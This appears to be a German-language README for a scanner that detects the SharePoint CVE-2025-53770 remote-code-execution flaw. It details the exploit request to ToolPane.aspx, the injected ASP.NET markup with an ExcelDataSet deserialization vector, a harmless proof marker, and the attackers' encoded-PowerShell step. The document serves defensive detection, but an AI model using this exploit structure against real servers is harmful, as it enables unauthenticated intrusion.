
Scanner für die SharePoint CVE-2025-53770 RCE Zero-Day-Schwachstelle (Fork von hazcod/CVE-2025-53770)
Dies ist ein Scanner für die SharePoint-Schwachstelle für nicht authentifizierte Remote Code Execution, die die CVE-Nummer CVE-2025-53770 erhalten hat. Der Code dafür wurde durch Reverse Engineering eines in freier Wildbahn beobachteten Payloads geschrieben.
Nutzung auf eigene Gefahr, ich bin nicht verantwortlich für negative Auswirkungen, die dies verursachen könnte.
Es versucht, die Sicherheitslücke auszunutzen, indem es einen Marker in das SharePoint-ToolBox-Widget injiziert. Wenn dieser unschädliche Marker in der Antwort des SharePoint-Servers gefunden wird, wird der Host als verwundbar markiert.
# check if <TARGET-HOSTNAME> is vulnerable and try extract version information
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# turn on debug logging and try retrieving SharePoint version information
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>
...
Jeder, der die On-Prem-Version von SharePoint Server ohne KB5002768 & KB5002754 ausführt.
Die Schwachstelle baut vermutlich auf einer zuvor offengelegten Schwachstelle für SharePoint auf, nämlich CVE-2025-49706.
Durch das Senden einer HTTP-POST-Anfrage an https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx mit einem GZIP-komprimierten, BASE64-kodierten Payload kann eine Remote Code Execution als SharePoint-Laufzeitprozess erreicht werden.
Zwei Formularparameter sind hier wichtig:
MSOTlPn_Uri: SteuerquellenpfadDieser gibt vor, auf ein legitimes SharePoint-Steuerelement (AclEditor.ascx) zu verweisen, und bringt SharePoint dazu, die Webpart-Bearbeitung zu erlauben.
Dies scheint ein Schein-/Fake-Wert zu sein, der nur zur Validierung dient.
Der ursprüngliche schädliche Payload enthält MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx, aber dieser scheint an diesem Punkt nicht verwendet zu werden.
MSOTlPn_DWP: Web-Teilkonfiguration.Dieser Parameter injiziert benutzerdefinierte ASP.NET-Direktiven (<%@ Register %>) und serverseitiges Markup (<Scorecard:ExcelDataSet>).
Der Parameter CompressedDataTable enthält vom Angreifer kontrollierte serialisierte Daten (GZIP + Base64), die die RCE auslösen.
Dieser Payload folgt einer bestimmten Struktur:
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
Wenn ein Steuerelement wie Scorecard:ExcelDataSet existiert und seine CompressedDataTable-Eigenschaft gesetzt ist, wird es direkt vom SharePoint-DWP-Parser deserialisiert.
Der Payload selbst kann ziemlich interessant sein, da er einen System.DelegateSerializationHolder enthalten kann, der eine Deserialisierungs-RCE auslöst.
Bedrohungsakteure haben dies missbraucht, um /c powershell -EncodedCommand <POWERSHELL-PAYLOAD> in ihrem Payload zu übergeben und so Codeausführung zu erreichen.
In unserem Fall übergeben wir lediglich einen statischen Platzhalter, um die Ausnutzbarkeit zu beweisen:
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>